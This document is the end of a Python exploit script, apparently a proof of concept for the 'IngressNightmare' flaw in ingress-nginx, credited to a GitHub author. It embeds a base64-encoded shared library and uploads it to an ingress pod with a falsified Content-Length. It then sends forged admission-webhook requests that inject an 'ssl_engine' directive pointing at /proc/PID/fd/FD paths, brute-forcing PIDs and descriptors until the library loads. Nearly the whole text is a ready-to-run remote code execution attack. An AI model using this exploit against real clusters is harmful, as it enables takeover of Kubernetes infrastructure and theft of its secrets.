AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAIAAAAAAAAZAAAAAAAAAKAeAAAAAAAAGwAAAAAAAAAIAAAAAAAAAPX+/28AAAAAyAEAAAAAAAAFAAAAAAAAADACAAAAAAAABgAAAAAAAADoAQAAAAAAAAoAAAAAAAAAEQAAAAAAAAALAAAAAAAAABgAAAAAAAAAAwAAAAAAAADoHwAAAAAAAAIAAAAAAAAAMAAAAAAAAAAUAAAAAAAAAAcAAAAAAAAAFwAAAAAAAABgAgAAAAAAAAcAAAAAAAAASAIAAAAAAAAIAAAAAAAAABgAAAAAAAAACQAAAAAAAAAYAAAAAAAAAPn//28AAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKgeAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKYCAAAAAAAAtgIAAAAAAABHQ0M6IChBbHBpbmUgMTMuMi4xX2dpdDIwMjQwMzA5KSAxMy4yLjEgMjAyNDAzMDkAAC5zaHN0cnRhYgAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5yZWxhLmR5bgAucmVsYS5wbHQALnRleHQALnJvZGF0YQAuZWhfZnJhbWUALm5vdGUuZ251LnByb3BlcnR5AC5pbml0X2FycmF5AC5keW5hbWljAC5nb3QucGx0AC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAPb//28CAAAAAAAAAMgBAAAAAAAAyAEAAAAAAAAcAAAAAAAAAAIAAAAAAAAACAAAAAAAAAAAAAAAAAAAABUAAAALAAAAAgAAAAAAAADoAQAAAAAAAOgBAAAAAAAASAAAAAAAAAADAAAAAQAAAAgAAAAAAAAAGAAAAAAAAAAdAAAAAwAAAAIAAAAAAAAAMAIAAAAAAAAwAgAAAAAAABEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAJQAAAAQAAAACAAAAAAAAAEgCAAAAAAAASAIAAAAAAAAYAAAAAAAAAAIAAAAAAAAACAAAAAAAAAAYAAAAAAAAAC8AAAAEAAAAQgAAAAAAAABgAgAAAAAAAGACAAAAAAAAMAAAAAAAAAACAAAADQAAAAgAAAAAAAAAGAAAAAAAAAA0AAAAAQAAAAYAAAAAAAAAkAIAAAAAAACQAgAAAAAAADAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAOQAAAAEAAAAGAAAAAAAAAMACAAAAAAAAwAIAAAAAAAAlAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAD8AAAABAAAAAgAAAAAAAADlAgAAAAAAAOUCAAAAAAAAKAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAABHAAAAAQAAAAIAAAAAAAAAEAMAAAAAAAAQAwAAAAAAAFwAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAUQAAAAcAAAACAAAAAAAAAHADAAAAAAAAcAMAAAAAAAAwAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAGQAAAAOAAAAAwAAAAAAAACgHgAAAAAAAKAOAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAABwAAAABgAAAAMAAAAAAAAAqB4AAAAAAACoDgAAAAAAAEABAAAAAAAAAwAAAAAAAAAIAAAAAAAAABAAAAAAAAAAeQAAAAEAAAADAAAAAAAAAOgfAAAAAAAA6A8AAAAAAAAoAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAIIAAAABAAAAMAAAAAAAAAAAAAAAAAAAABAQAAAAAAAAMQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAwAAAAAAAAAAAAAAAAAAAAAAAABBEAAAAAAAAIsAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA" + +admssion_json = """ +{ + "kind": "AdmissionReview", + "apiVersion": "admission.k8s.io/v1", + "request": { + "uid": "3babc164-2b11-4c9c-976a-52f477c63e35", + "kind": { + "group": "networking.k8s.io", + "version": "v1", + "kind": "Ingress" + }, + "resource": { + "group": "networking.k8s.io", + "version": "v1", + "resource": "ingresses" + }, + "requestKind": { + "group": "networking.k8s.io", + "version": "v1", + "kind": "Ingress" + }, + "requestResource": { + "group": "networking.k8s.io", + "version": "v1", + "resource": "ingresses" + }, + "name": "minimal-ingress", + "namespace": "default", + "operation": "CREATE", + "userInfo": { + "uid": "1619bf32-d4cb-4a99-a4a4-d33b2efa3bc6" + }, + "object": { + "kind": "Ingress", + "apiVersion": "networking.k8s.io/v1", + "metadata": { + "name": "minimal-ingress", + "namespace": "default", + "creationTimestamp": null, + "uid": "test#;\\n\\n}\\n}\\n}\\nssl_engine ../../../../../../../REPLACE", + "annotations": { + "nginx.ingress.kubernetes.io/mirror-target": "xxxxxxxxxxx" + } + }, + "spec": { + "ingressClassName": "nginx", + "rules": [ + { + "host": "test.example.com", + "http": { + "paths": [ + { + "path": "/", + "pathType": "Prefix", + "backend": { + "service": { + "name": "kubernetes", + "port": { + "number": 443 + } + } + } + } + ] + } + } + ] + }, + "status": { + "loadBalancer": {} + } + }, + "oldObject": null, + "dryRun": true, + "options": { + "kind": "CreateOptions", + "apiVersion": "meta.k8s.io/v1" + } + } +} +""" + + +def send_request(admission_url, json_data, proc, fd): + print(f"Trying Proc: {proc}, FD: {fd}") + path = f"proc/{proc}/fd/{fd}" + replaced_data = json_data.replace("REPLACE", path) + + headers = { + "Content-Type": "application/json" + } + + full_url = admission_url.rstrip("/") + "/admission" + + try: + response = requests.post(full_url, data=replaced_data, headers=headers, verify=False, timeout=1) + # print(response.text) - use this to debug (check response of admission webhook) + print(f"Response for /proc/{proc}/fd/{fd}: {response.status_code}") + except Exception as e: + print(f"Error on /proc/{proc}/fd/{fd}: {e}") + + +def admission_brute(admission_url, max_workers=10): + # proc = input("INPUT PROC:") - use this for manual testing + # fd = input("INPUT FD:") - use this for manual testing + # send_request(admission_url, json_data, proc, fd) - use this for manual testing + + with ThreadPoolExecutor(max_workers=max_workers) as executor: + for proc in range(30, 50): # can be increased to 100 + for fd in range(3, 30): # can be increased to 100 (not recommended) + executor.submit(send_request, admission_url, admssion_json, proc, fd) + + for proc in range(160, 180): # can be increased to 100 + for fd in range(3, 30): # can be increased to 100 (not recommended) + executor.submit(send_request, admission_url, admssion_json, proc, fd) + + +def exploit(ingress_url): + so = base64.b64decode(pwn_base64) + b"\00" * 8092 + + real_length = len(so) + fake_length = real_length + 10 + url = ingress_url + + parsed = urlparse(url) + host = parsed.hostname + port = parsed.port or 80 + path = parsed.path or "/" + + try: + sock = socket.create_connection((host, port)) + except Exception as e: + print(f"Error connecting to {host}:{port}: {e} - host is up?") + sys.exit(0) + headers = ( + f"POST {path} HTTP/1.1\r\n" + f"Host: {host}\r\n" + f"User-Agent: lufeisec\r\n" + f"Content-Type: application/octet-stream\r\n" + f"Content-Length: {fake_length}\r\n" + f"Connection: keep-alive\r\n" + f"\r\n" + ).encode("iso-8859-1") + + http_payload = headers + so + sock.sendall(http_payload) + + response = b"" + while True: + chunk = sock.recv(4096) + if not chunk: + break + response += chunk + + print("[*] Resposta:") + print(response.decode(errors="ignore")) + + sock.close() + + +if len(sys.argv) < 2: + print("Usage: python3 exploit.py ") + sys.exit(0) +else: + ingress_url = sys.argv[1] + admission = sys.argv[2] + + # Send the library to the ingress pod and keep the connection open to keep the file open via the file descriptor (FD). + x = threading.Thread(target=exploit, args=(ingress_url,)) + x.start() + + # time.sleep(9999 * 9999) + # start the admission webhook brute force (/proc/{pid}/fd/{fd}) + admission_brute(admission) +``` +原作者地址:https://github.com/lufeirider/IngressNightmare-PoC